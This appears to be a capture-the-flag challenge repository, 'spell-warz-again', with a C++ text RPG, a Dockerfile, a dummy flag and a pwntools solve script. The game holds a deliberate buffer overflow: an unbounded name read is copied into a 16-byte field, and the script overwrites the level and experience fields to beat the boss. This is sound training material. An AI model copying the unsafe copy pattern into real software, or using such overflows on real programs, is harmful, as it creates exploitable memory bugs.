@ -0,0 +1,13 @@ | |||||
FROM ubuntu:latest | |||||
RUN apt update && \ | |||||
apt install socat -y | |||||
WORKDIR /app | |||||
COPY ./flag.txt . | |||||
COPY ./spell-warz-again . | |||||
CMD socat tcp-listen:12345,reuseaddr,fork EXEC:\"./spell-warz-again\" | |||||
EXPOSE 12345/tcp |
@ -0,0 +1,21 @@ | |||||
MIT License | |||||
Copyright (c) <year> <copyright holders> | |||||
Permission is hereby granted, free of charge, to any person obtaining a copy | |||||
of this software and associated documentation files (the "Software"), to deal | |||||
in the Software without restriction, including without limitation the rights | |||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |||||
copies of the Software, and to permit persons to whom the Software is furnished | |||||
to do so, subject to the following conditions: | |||||
The above copyright notice and this permission notice (including the next | |||||
paragraph) shall be included in all copies or substantial portions of the | |||||
Software. | |||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS | |||||
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS | |||||
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, | |||||
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF | |||||
OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. |
@ -0,0 +1,19 @@ | |||||
UserInterface.o: lib/UserInterface.cpp lib/UserInterface.hpp | |||||
g++ -c lib/UserInterface.cpp -o UserInterface.o | |||||
BattleInterface.o: lib/BattleInterface.cpp lib/BattleInterface.hpp | |||||
g++ -c lib/BattleInterface.cpp -o BattleInterface.o | |||||
Spell.o: lib/Spell.cpp lib/Spell.hpp | |||||
g++ -c lib/Spell.cpp -o Spell.o | |||||
Character.o: lib/Character.cpp lib/Character.hpp | |||||
g++ -c lib/Character.cpp -o Character.o | |||||
spell-warz-again: Spell.o Character.o UserInterface.o BattleInterface.o main.cpp | |||||
g++ main.cpp -o spell-warz-again Spell.o Character.o UserInterface.o BattleInterface.o | |||||
clean: all | |||||
rm Spell.o Character.o UserInterface.o BattleInterface.o | |||||
all: spell-warz-again |
@ -0,0 +1 @@ | |||||
slashroot{dummy} |
@ -0,0 +1,108 @@ | |||||
#include "BattleInterface.hpp" | |||||
const int BattleInterface::maxTurn = 100; | |||||
BattleInterface::BattleInterface() | |||||
{ | |||||
this->turn = -1; | |||||
this->player1 = nullptr; | |||||
this->player2 = nullptr; | |||||
this->winner = nullptr; | |||||
this->loser = nullptr; | |||||
} | |||||
BattleInterface::BattleInterface(Character *p1, Character *p2) | |||||
{ | |||||
this->turn = 1; | |||||
this->player1 = p1; | |||||
this->player2 = p2; | |||||
this->winner = nullptr; | |||||
this->loser = nullptr; | |||||
} | |||||
void BattleInterface::battleStartAnnounce() | |||||
{ | |||||
std::cout << " === BATTLE START === \n" | |||||
<< " " << player1->getName() << "\n" | |||||
<< " vs \n" | |||||
<< " " << player2->getName() << "\n" | |||||
<< " === ============ === \n" | |||||
<< std::flush; | |||||
} | |||||
void BattleInterface::battleEndAnnouce() | |||||
{ | |||||
std::cout << " === BATTLE END === \n" | |||||
<< "winner: " << this->winner->getName() << "\n" | |||||
<< std::flush; | |||||
} | |||||
Character *BattleInterface::getLoser() | |||||
{ | |||||
return this->loser; | |||||
} | |||||
Character *BattleInterface::getWinner() | |||||
{ | |||||
return this->winner; | |||||
} | |||||
void BattleInterface::start() | |||||
{ | |||||
int choiceInt; | |||||
char buff[64] = {0}; | |||||
this->battleStartAnnounce(); | |||||
while ((player1->isAlive() && player2->isAlive()) && this->turn <= BattleInterface::maxTurn) | |||||
{ | |||||
std::cout << "Turn " << this->turn << " of " << BattleInterface::maxTurn << "\n" | |||||
<< "Your spell book:\n"; | |||||
for (size_t i = 0; i < Spell::Book.size() && i < (player1->getLevel()); i++) | |||||
{ | |||||
std::cout << "[" << i << "] " << Spell::Book.at(i).getName() << "\n"; | |||||
} | |||||
std::cout << std::flush; | |||||
choiceInt = UserInterface::getNumber( | |||||
"What are you gonna cast this turn?\n>", 0, | |||||
player1->getLevel() > Spell::Book.size() ? Spell::Book.size() : player1->getLevel()); | |||||
if (player1->canCastSpell(&Spell::Book.at(choiceInt))) | |||||
{ | |||||
player1->castSpell(&Spell::Book.at(choiceInt), player2); | |||||
snprintf(buff, 63, "%s cast %s...\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||||
UserInterface::print(buff); | |||||
memset(buff, 0, 64); | |||||
snprintf(buff, 63, "%s took %d damage...\n", player2->getName(), Spell::Book.at(choiceInt).getAmount()); | |||||
UserInterface::print(buff); | |||||
memset(buff, 0, 64); | |||||
} | |||||
else | |||||
{ | |||||
snprintf(buff, 63, "%s failed to cast %s!\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||||
UserInterface::print(buff); | |||||
} | |||||
choiceInt = (random() % (player2->getLevel() < Spell::Book.size() ? player2->getLevel() : Spell::Book.size())); | |||||
if (player2->canCastSpell(&Spell::Book.at(choiceInt))) | |||||
{ | |||||
player2->castSpell(&Spell::Book.at(choiceInt), player1); | |||||
snprintf(buff, 63, "%s cast %s...\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||||
UserInterface::print(buff); | |||||
memset(buff, 0, 64); | |||||
snprintf(buff, 63, "%s took %d damage...\n", player1->getName(), Spell::Book.at(choiceInt).getAmount()); | |||||
UserInterface::print(buff); | |||||
memset(buff, 0, 64); | |||||
} | |||||
else | |||||
{ | |||||
snprintf(buff, 63, "%s failed to cast %s!\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||||
UserInterface::print(buff); | |||||
} | |||||
this->turn++; | |||||
} | |||||
winner = (player1->isAlive() && (player1->getCurHP() >= player2->getCurHP())) ? player1 : player2; | |||||
loser = (winner == player1) ? player2 : player1; | |||||
this->battleEndAnnouce(); | |||||
} |
@ -0,0 +1,35 @@ | |||||
#ifndef SPELL_WARZ_BATTLEINTERFACE_HPP | |||||
#define SPELL_WARZ_BATTLEINTERFACE_HPP 1 | |||||
#include <iostream> | |||||
#include <thread> | |||||
#include <chrono> | |||||
#include "Character.hpp" | |||||
#include "Spell.hpp" | |||||
#include "UserInterface.hpp" | |||||
class BattleInterface | |||||
{ | |||||
protected: | |||||
static const int maxTurn; | |||||
int turn; | |||||
Character *player1; | |||||
Character *player2; | |||||
Character *winner; | |||||
Character *loser; | |||||
void battleStartAnnounce(); | |||||
void battleEndAnnouce(); | |||||
void clearBuff(); | |||||
public: | |||||
BattleInterface(); | |||||
BattleInterface(Character *p1, Character *p2); | |||||
void start(); | |||||
Character *getWinner(); | |||||
Character *getLoser(); | |||||
}; | |||||
#endif |
@ -0,0 +1,216 @@ | |||||
#include "Character.hpp" | |||||
#include <cstring> | |||||
const int Character::maxLevel = 0xffff; | |||||
const int Character::maxExperience = 0x0fffffff; | |||||
Character::Character() | |||||
{ | |||||
this->level = 1; | |||||
this->experience = 0; | |||||
this->maxHP = 10; | |||||
this->curHP = maxHP; | |||||
this->maxMP = 5; | |||||
this->curMP = maxMP; | |||||
this->atk = 1; | |||||
this->def = 1; | |||||
memset(this->name, 0, 16); | |||||
} | |||||
Character::Character(char *n) : Character::Character() | |||||
{ | |||||
strcpy(this->name, n); | |||||
this->name[15] = 0; | |||||
} | |||||
Character::Character(const char *n) : Character::Character() | |||||
{ | |||||
strcpy(this->name, n); | |||||
this->name[15] = 0; | |||||
} | |||||
Character::Character(char *n, int l, int e, int h, int m, int a, int d) | |||||
{ | |||||
strcpy(this->name, n); | |||||
this->name[15] = 0; | |||||
this->level = l; | |||||
this->experience = e; | |||||
this->maxHP = h; | |||||
this->curHP = maxHP; | |||||
this->maxMP = m; | |||||
this->curMP = maxMP; | |||||
this->atk = a; | |||||
this->def = d; | |||||
} | |||||
Character::Character(const char *n, int l, int e, int h, int m, int a, int d) | |||||
{ | |||||
strcpy(this->name, n); | |||||
this->name[15] = 0; | |||||
this->level = l; | |||||
this->experience = e; | |||||
this->maxHP = h; | |||||
this->curHP = maxHP; | |||||
this->maxMP = m; | |||||
this->curMP = maxMP; | |||||
this->atk = a; | |||||
this->def = d; | |||||
} | |||||
char *Character::getName() | |||||
{ | |||||
return this->name; | |||||
} | |||||
int Character::getLevel() | |||||
{ | |||||
if (this->level > Character::maxLevel) | |||||
{ | |||||
exit(-1); | |||||
} | |||||
return this->level; | |||||
} | |||||
int Character::getExperience() | |||||
{ | |||||
if (this->experience > Character::maxExperience) | |||||
{ | |||||
exit(-1); | |||||
} | |||||
return this->experience; | |||||
} | |||||
int Character::getMaxHP() | |||||
{ | |||||
return this->maxHP; | |||||
} | |||||
int Character::getCurHP() | |||||
{ | |||||
if (this->curHP > this->maxHP) | |||||
{ | |||||
exit(-1); | |||||
} | |||||
return this->curHP; | |||||
} | |||||
int Character::getMaxMP() | |||||
{ | |||||
return this->maxMP; | |||||
} | |||||
int Character::getCurMP() | |||||
{ | |||||
if (this->curMP > this->maxMP) | |||||
{ | |||||
exit(-1); | |||||
} | |||||
return this->curMP; | |||||
} | |||||
int Character::getAtk() | |||||
{ | |||||
return this->atk; | |||||
} | |||||
int Character::getDef() | |||||
{ | |||||
return this->def; | |||||
} | |||||
void Character::levelUp() | |||||
{ | |||||
if ((this->level <= maxLevel) && this->readytoLevelUp()) | |||||
{ | |||||
this->experience -= this->toNextLevel(); | |||||
this->level++; | |||||
this->maxHP += 10; | |||||
this->maxMP += 5; | |||||
this->curHP = this->maxHP; | |||||
this->curMP = this->maxMP; | |||||
} | |||||
} | |||||
void Character::restoreHP(int n) | |||||
{ | |||||
this->curHP += n; | |||||
if (this->curHP > this->maxHP) | |||||
{ | |||||
this->curHP = this->maxHP; | |||||
} | |||||
} | |||||
void Character::restoreMP(int n) | |||||
{ | |||||
this->curMP += n; | |||||
if (this->curMP > this->maxMP) | |||||
{ | |||||
this->curMP = this->maxMP; | |||||
} | |||||
} | |||||
void Character::reduceHP(int n) | |||||
{ | |||||
this->curHP -= n; | |||||
} | |||||
void Character::reduceMP(int n) | |||||
{ | |||||
this->curMP -= n; | |||||
} | |||||
bool Character::isAlive() | |||||
{ | |||||
return this->curHP > 0; | |||||
} | |||||
int Character::toNextLevel() | |||||
{ | |||||
return (this->level + 1) * (this->level + 1); | |||||
} | |||||
bool Character::readytoLevelUp() | |||||
{ | |||||
return (this->toNextLevel() <= this->experience); | |||||
} | |||||
void Character::increaseExperience(int n) | |||||
{ | |||||
this->experience += n; | |||||
if (this->experience > maxExperience) | |||||
{ | |||||
this->experience = maxExperience; | |||||
} | |||||
while (this->readytoLevelUp()) | |||||
{ | |||||
this->levelUp(); | |||||
} | |||||
} | |||||
bool Character::canCastSpell(Spell *s) | |||||
{ | |||||
return this->curMP >= s->getCost(); | |||||
} | |||||
void Character::castSpell(Spell *s, Character *t) | |||||
{ | |||||
this->reduceMP(s->getCost()); | |||||
t->reduceHP(s->getAmount()); | |||||
} | |||||
void Character::rest() | |||||
{ | |||||
this->curHP = this->maxHP; | |||||
this->curMP = this->maxMP; | |||||
} | |||||
void Character::kill() | |||||
{ | |||||
this->curHP = 0; | |||||
} | |||||
void Character::revive() | |||||
{ | |||||
if (this->curHP <= 0) | |||||
{ | |||||
this->curHP = 1; | |||||
} | |||||
} |
@ -0,0 +1,59 @@ | |||||
#ifndef SPELL_WARZ_CHARACTER_HPP | |||||
#define SPELL_WARZ_CHARACTER_HPP 1 | |||||
#include <vector> | |||||
#include "Spell.hpp" | |||||
class Character | |||||
{ | |||||
protected: | |||||
static const int maxLevel; | |||||
static const int maxExperience; | |||||
char name[16]; | |||||
int experience; | |||||
int level; | |||||
int atk; | |||||
int def; | |||||
int curHP; | |||||
int curMP; | |||||
int maxHP; | |||||
int maxMP; | |||||
void restoreHP(int); | |||||
void restoreMP(int); | |||||
void reduceHP(int); | |||||
void reduceMP(int); | |||||
public: | |||||
Character(); | |||||
Character(char *name); | |||||
Character(const char *name); | |||||
Character(char *name, int level, int exp, int hp, int mp, int atk, int def); | |||||
Character(const char *name, int level, int exp, int hp, int mp, int atk, int def); | |||||
void castSpell(Spell *src, Character *dst); | |||||
bool canCastSpell(Spell *src); | |||||
char *getName(); | |||||
int getLevel(); | |||||
int getExperience(); | |||||
int getMaxHP(); | |||||
int getCurHP(); | |||||
int getMaxMP(); | |||||
int getCurMP(); | |||||
int getAtk(); | |||||
int getDef(); | |||||
int toNextLevel(); | |||||
bool readytoLevelUp(); | |||||
bool isAlive(); | |||||
void levelUp(); | |||||
void kill(); | |||||
void rest(); | |||||
void revive(); | |||||
void increaseExperience(int n); | |||||
}; | |||||
#endif |
@ -0,0 +1,42 @@ | |||||
#include "Spell.hpp" | |||||
Spell::Spell(std::string n, int t, int a, int c) | |||||
{ | |||||
this->name = std::string(n); | |||||
this->type = t; | |||||
this->amount = a; | |||||
this->cost = c; | |||||
} | |||||
int Spell::getType() | |||||
{ | |||||
return this->type; | |||||
} | |||||
int Spell::getAmount() | |||||
{ | |||||
return this->amount; | |||||
} | |||||
int Spell::getCost() | |||||
{ | |||||
return this->cost; | |||||
} | |||||
std::string Spell::getName() | |||||
{ | |||||
return this->name; | |||||
} | |||||
std::vector<Spell> Spell::Book = { | |||||
Spell("Napalm Beat", 1, 4, 1), | |||||
Spell("Fire Ball", 1, 6, 2), | |||||
Spell("Cold Bolt", 1, 8, 3), | |||||
Spell("Stone curse", 1, 10, 4), | |||||
Spell("Lightning Bolt", 1, 12, 5), | |||||
Spell("Soul Strike", 1, 14, 6), | |||||
Spell("Fire Wall", 1, 16, 7), | |||||
Spell("Frost Diver", 1, 18, 8), | |||||
Spell("Lighting Storm", 1, 20, 9), | |||||
Spell("Asura's Strike", 1, 50, 10), | |||||
}; |
@ -0,0 +1,28 @@ | |||||
#ifndef SPELL_WARZ_SPELL_CPP | |||||
#define SPELL_WARZ_SPELL_CPP 1 | |||||
#include <vector> | |||||
#include <string> | |||||
class Spell | |||||
{ | |||||
protected: | |||||
std::string name; | |||||
int type; | |||||
int amount; | |||||
int cost; | |||||
public: | |||||
int TYPE_RESTORATION = 0; | |||||
int TYPE_DESTRUCTION = 1; | |||||
static std::vector<Spell> Book; | |||||
Spell(std::string, int, int, int); | |||||
int getType(); | |||||
int getAmount(); | |||||
int getCost(); | |||||
std::string getName(); | |||||
}; | |||||
#endif |
@ -0,0 +1,226 @@ | |||||
#include "UserInterface.hpp" | |||||
const int UserInterface::interval = 500; // in ms | |||||
const int UserInterface::miniInterval = 50; // in ms | |||||
const int UserInterface::maxDay = 28; | |||||
const int UserInterface::maxMonth = 12; | |||||
const int UserInterface::maxYear = 100; | |||||
int UserInterface::day = 1; | |||||
int UserInterface::month = 1; | |||||
int UserInterface::year = 90; | |||||
bool UserInterface::gameOver = false; | |||||
std::vector<std::string> UserInterface::dayName = { | |||||
"Morndas", | |||||
"Tirdas", | |||||
"Middas", | |||||
"Turdas", | |||||
"Fredas", | |||||
"Loredas", | |||||
"Sundas", | |||||
}; | |||||
std::vector<std::string> UserInterface::monthName = { | |||||
"Morning Star", | |||||
"Sun's Dawn", | |||||
"First Seed", | |||||
"Rain's Hand", | |||||
"Second Seed", | |||||
"Mid Year", | |||||
"Sun's Height", | |||||
"Last Seed", | |||||
"Hearthfire", | |||||
"Frostfall", | |||||
"Sun's Dusk", | |||||
"Evening Star", | |||||
}; | |||||
void UserInterface::print(std::string msg) | |||||
{ | |||||
std::cout << msg << std::flush; | |||||
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); | |||||
} | |||||
void UserInterface::print(char *msg) | |||||
{ | |||||
std::cout << msg << std::flush; | |||||
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); | |||||
} | |||||
void UserInterface::print(const char *msg) | |||||
{ | |||||
std::cout << msg << std::flush; | |||||
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); | |||||
} | |||||
void UserInterface::printByChar(const char *msg) | |||||
{ | |||||
int len = strlen(msg); | |||||
for (size_t i = 0; i < len; i++) | |||||
{ | |||||
std::cout << msg[i] << std::flush; | |||||
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::miniInterval)); | |||||
} | |||||
} | |||||
void UserInterface::welcomeMessage() | |||||
{ | |||||
std::cout << "+++++++++++++++++++++++++++++++++++\n" | |||||
<< "+ Welcome to Spell-Warz-Again !!! +\n" | |||||
<< "+++++++++++++++++++++++++++++++++++\n" | |||||
<< std::flush; | |||||
} | |||||
Character *UserInterface::characterCreation() | |||||
{ | |||||
char buffer[128] = {0}; | |||||
char choice = 0; | |||||
int i; | |||||
short b; | |||||
while (choice != 'y' && choice != 'Y') | |||||
{ | |||||
std::cout << "Who should we call you?\n" | |||||
<< ">" << std::flush; | |||||
std::cin >> buffer; | |||||
std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n" | |||||
<< ">"; | |||||
std::cin >> choice; | |||||
} | |||||
return new Character(buffer); | |||||
} | |||||
void UserInterface::epilogue() | |||||
{ | |||||
UserInterface::printByChar( | |||||
"You are just a young mage in a mage school,\n" | |||||
"When you witnessed your arch-mage got defeated by your senior...\n" | |||||
"He was mumbling about some flag inside a scroll,\n" | |||||
"he also mentioned something about a competition called CTF...\n" | |||||
"You thought to yourself: \"What the f*ck is a CTF?\"\n" | |||||
"Nevertheless, you want that scroll, you want that flag!\n" | |||||
"Defeat the new arch-mage that was once your senior to get a glimpse of that scroll!\n" | |||||
"Note: You need to do this in 10 year of in-game, otherwise you would graduate first...\n"); | |||||
} | |||||
std::string UserInterface::dateString() | |||||
{ | |||||
char date[5] = {0}; | |||||
if (UserInterface::day < 21) | |||||
{ | |||||
switch (UserInterface::day) | |||||
{ | |||||
case 1: | |||||
sprintf(date, "1st"); | |||||
break; | |||||
case 2: | |||||
sprintf(date, "2nd"); | |||||
break; | |||||
case 3: | |||||
sprintf(date, "3rd"); | |||||
break; | |||||
default: | |||||
sprintf(date, "%dth", UserInterface::day); | |||||
break; | |||||
} | |||||
} | |||||
else | |||||
{ | |||||
switch (UserInterface::day % 10) | |||||
{ | |||||
case 1: | |||||
sprintf(date, "%dst", UserInterface::day); | |||||
break; | |||||
case 2: | |||||
sprintf(date, "%dnd", UserInterface::day); | |||||
break; | |||||
case 3: | |||||
sprintf(date, "%drd", UserInterface::day); | |||||
break; | |||||
default: | |||||
sprintf(date, "%dth", UserInterface::day); | |||||
break; | |||||
} | |||||
} | |||||
return std::string( | |||||
UserInterface::dayName.at(((UserInterface::day - 1) % 7)) + ", " + | |||||
date + " of " + UserInterface::monthName.at(UserInterface::month - 1) + | |||||
", Year " + std::to_string(UserInterface::year)); | |||||
} | |||||
void UserInterface::menu() | |||||
{ | |||||
std::cout << "=======================================\n" | |||||
<< UserInterface::dateString() << "\n" | |||||
<< "=======================================\n" | |||||
<< "Available action:\n" | |||||
<< "[1] Take a rest\n" | |||||
<< "[2] Practice magic\n" | |||||
<< "[3] Spar against classmate\n" | |||||
<< "[4] Challenge the new Arch-Mage\n" | |||||
<< "[5] Gather info about the new Arch-Mage\n" | |||||
<< "[6] Meditate to your inner-self\n" | |||||
<< "[0] Commit sudoku\n" | |||||
<< std::flush; | |||||
} | |||||
void UserInterface::enemiesInfo(std::vector<Character *> &enemies) | |||||
{ | |||||
for (int i = 0; i < enemies.size(); i++) | |||||
{ | |||||
std::cout << "[" << i << "] " << enemies.at(i)->getName() << " (Lv." << enemies.at(i)->getLevel() << ")\n"; | |||||
} | |||||
std::cout << std::flush; | |||||
} | |||||
int UserInterface::getNumber(std::string msg, int min, int max) | |||||
{ | |||||
int buffer = max + 1; | |||||
do | |||||
{ | |||||
std::cout << msg << std::flush; | |||||
if (std::cin.failbit || std::cin.eofbit) | |||||
{ | |||||
std::cin.clear(); | |||||
std::cin.ignore(1); | |||||
} | |||||
} while (std::cin >> buffer && !(buffer <= max && buffer >= min)); | |||||
return buffer; | |||||
} | |||||
void UserInterface::nextDay() | |||||
{ | |||||
if (UserInterface::day++ >= UserInterface::maxDay) | |||||
{ | |||||
day = 1; | |||||
if (UserInterface::month++ >= UserInterface::maxMonth) | |||||
{ | |||||
month = 1; | |||||
if (UserInterface::year++ >= UserInterface::maxYear) | |||||
{ | |||||
UserInterface::gameOver = true; | |||||
} | |||||
} | |||||
} | |||||
} | |||||
bool UserInterface::isGameOver() | |||||
{ | |||||
return gameOver; | |||||
} | |||||
void UserInterface::characterInfo(Character *c) | |||||
{ | |||||
std::cout << "++++++++++++++++++++++++" | |||||
<< "\nName: " << c->getName() | |||||
<< "\n HP: " << c->getCurHP() << "/" << c->getMaxHP() | |||||
<< "\n MP: " << c->getCurMP() << "/" << c->getMaxMP() | |||||
<< "\n Lv: " << c->getLevel() | |||||
<< "\n Xp: " << c->getExperience() | |||||
<< "\n next: " << c->toNextLevel() | |||||
<< "\n++++++++++++++++++++++++" << std::endl; | |||||
} |
@ -0,0 +1,53 @@ | |||||
#ifndef SPELL_WARZ_USER_INTERFACE_HPP | |||||
#define SPELL_WARZ_USER_INTERFACE_HPP 1 | |||||
#include <iostream> | |||||
#include <thread> | |||||
#include <chrono> | |||||
#include <string> | |||||
#include <cstring> | |||||
#include "Character.hpp" | |||||
#include "Spell.hpp" | |||||
class UserInterface | |||||
{ | |||||
protected: | |||||
static const int interval; // in ms | |||||
static const int miniInterval; // in ms | |||||
static const int maxDay; | |||||
static const int maxMonth; | |||||
static const int maxYear; | |||||
static std::vector<std::string> dayName; | |||||
static std::vector<std::string> monthName; | |||||
static int day; | |||||
static int month; | |||||
static int year; | |||||
static bool gameOver; | |||||
public: | |||||
static void print(std::string); | |||||
static void print(const char *); | |||||
static void print(char *); | |||||
static void printByChar(std::string); | |||||
static void printByChar(const char *); | |||||
static void printByChar(char *); | |||||
static void welcomeMessage(); | |||||
static void epilogue(); | |||||
static void menu(); | |||||
static void nextDay(); | |||||
static void characterInfo(Character *); | |||||
static void enemiesInfo(std::vector<Character *> &); | |||||
static std::string dateString(); | |||||
static int getNumber(std::string, int, int); | |||||
static Character *characterCreation(); | |||||
static bool isGameOver(); | |||||
}; | |||||
#endif |
@ -0,0 +1,150 @@ | |||||
#include <iostream> | |||||
#include <fstream> | |||||
#include <thread> | |||||
#include <chrono> | |||||
#include <random> | |||||
#include <fstream> | |||||
#include <unistd.h> | |||||
#include "lib/Character.hpp" | |||||
#include "lib/Spell.hpp" | |||||
#include "lib/UserInterface.hpp" | |||||
#include "lib/BattleInterface.hpp" | |||||
std::string loadFlag() | |||||
{ | |||||
std::string flagString; | |||||
std::ifstream flagFile("flag.txt"); | |||||
flagFile >> flagString; | |||||
flagFile.close(); | |||||
return flagString; | |||||
} | |||||
int main() | |||||
{ | |||||
std::string flag; | |||||
Character *player; | |||||
Character *archMage; | |||||
Character *enemy; | |||||
BattleInterface battle; | |||||
std::vector<Character *> enemies; | |||||
flag = loadFlag(); | |||||
srand(time(0)); | |||||
alarm(600); | |||||
UserInterface::welcomeMessage(); | |||||
UserInterface::epilogue(); | |||||
player = UserInterface::characterCreation(); | |||||
archMage = new Character("Arch-Mage", 500, 0, 5000, 5000, 1, 1); | |||||
enemies = { | |||||
new Character("Abby", 1, 1, 10, 5, 1, 1), | |||||
new Character("John", 2, 3, 20, 10, 1, 1), | |||||
new Character("Adam", 3, 7, 40, 25, 1, 1), | |||||
new Character("Christo", 4, 11, 80, 40, 1, 1), | |||||
new Character("Greg", 5, 16, 160, 80, 1, 1), | |||||
}; | |||||
while (player->isAlive() && !UserInterface::isGameOver()) | |||||
{ | |||||
int choiceInt = -1; | |||||
char choiceChar = -1; | |||||
UserInterface::menu(); | |||||
choiceInt = UserInterface::getNumber( | |||||
"What are you gonna do today?\n>", | |||||
0, 6); | |||||
switch (choiceInt) | |||||
{ | |||||
case 0: | |||||
UserInterface::print("You commit sudoku...\n"); | |||||
UserInterface::print("Was it supposed to be seppuku?\n"); | |||||
UserInterface::print("Nevermind, you killed yourself.\n"); | |||||
player->kill(); | |||||
break; | |||||
case 1: | |||||
UserInterface::print("You spend the whole day sleeping...\n"); | |||||
UserInterface::print("HP and MP restored.\n"); | |||||
player->rest(); | |||||
break; | |||||
case 2: | |||||
UserInterface::print("You practice your magic in the yard...\n"); | |||||
UserInterface::print("You gained some experience.\n"); | |||||
player->increaseExperience((random() % player->getLevel()) + 1); | |||||
break; | |||||
case 3: | |||||
UserInterface::print("List of your classmates:\n"); | |||||
UserInterface::enemiesInfo(enemies); | |||||
choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); | |||||
UserInterface::print("You are going to spar with:\n"); | |||||
UserInterface::characterInfo(enemies.at(choiceInt)); | |||||
UserInterface::print("Are you sure? (y/N)\n>"); | |||||
std::cin >> choiceChar; | |||||
if (choiceChar == 'y' || choiceChar == 'Y') | |||||
{ | |||||
enemy = new Character(*enemies.at(choiceInt)); | |||||
battle = BattleInterface(player, enemy); | |||||
battle.start(); | |||||
if (battle.getWinner() == player) | |||||
{ | |||||
UserInterface::print("You win, you get more experience...\n"); | |||||
player->increaseExperience(enemies.at(choiceInt)->getLevel()); | |||||
} | |||||
else | |||||
{ | |||||
UserInterface::print("You lose, but you still get some experience...\n"); | |||||
player->revive(); | |||||
player->increaseExperience(enemies.at(choiceInt)->getLevel() / 2); | |||||
} | |||||
delete enemy; | |||||
} | |||||
else | |||||
{ | |||||
UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); | |||||
player->rest(); | |||||
} | |||||
break; | |||||
case 4: | |||||
UserInterface::print("You are going to challenge the Arch-Mage...\n"); | |||||
UserInterface::print("Are you sure? (y/N)\n>"); | |||||
std::cin >> choiceChar; | |||||
if (choiceChar == 'y' || choiceChar == 'Y') | |||||
{ | |||||
battle = BattleInterface(player, archMage); | |||||
battle.start(); | |||||
if (battle.getWinner() == player) | |||||
{ | |||||
UserInterface::print("You win, you get more experience...\n"); | |||||
player->increaseExperience(enemies.at(choiceInt)->getLevel()); | |||||
UserInterface::print("You win against the Arch-Mage!\n"); | |||||
UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n"); | |||||
UserInterface::print("Turns out the content is just some meaningless word...\n"); | |||||
UserInterface::print("Here is the content:\n"); | |||||
UserInterface::print(flag + "\n"); | |||||
} | |||||
else | |||||
{ | |||||
UserInterface::print("You lose...\n"); | |||||
UserInterface::print("Sadly his spell was to powerful,\n"); | |||||
UserInterface::print("You got killed by the arch-mage...\n"); | |||||
} | |||||
} | |||||
else | |||||
{ | |||||
UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); | |||||
player->rest(); | |||||
} | |||||
break; | |||||
case 5: | |||||
UserInterface::print("You found some info about the arch-mage:\n"); | |||||
UserInterface::characterInfo(archMage); | |||||
break; | |||||
case 6: | |||||
UserInterface::print("You meditate and got some insight to your ability:\n"); | |||||
UserInterface::characterInfo(player); | |||||
break; | |||||
} | |||||
UserInterface::nextDay(); | |||||
} | |||||
} |
@ -0,0 +1,18 @@ | |||||
from pwn import * | |||||
if __name__ == "__main__": | |||||
p = process("./main") | |||||
print p.recvuntil(">") | |||||
p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) | |||||
print p.recvuntil(">") | |||||
p.sendline("y") | |||||
print p.recvuntil(">") | |||||
p.sendline("2") | |||||
print p.recvuntil(">") | |||||
p.sendline("4") | |||||
print p.recvuntil(">") | |||||
p.sendline("y") | |||||
for i in xrange(99): | |||||
print p.recvuntil(">") | |||||
p.sendline("9") | |||||
p.interactive() |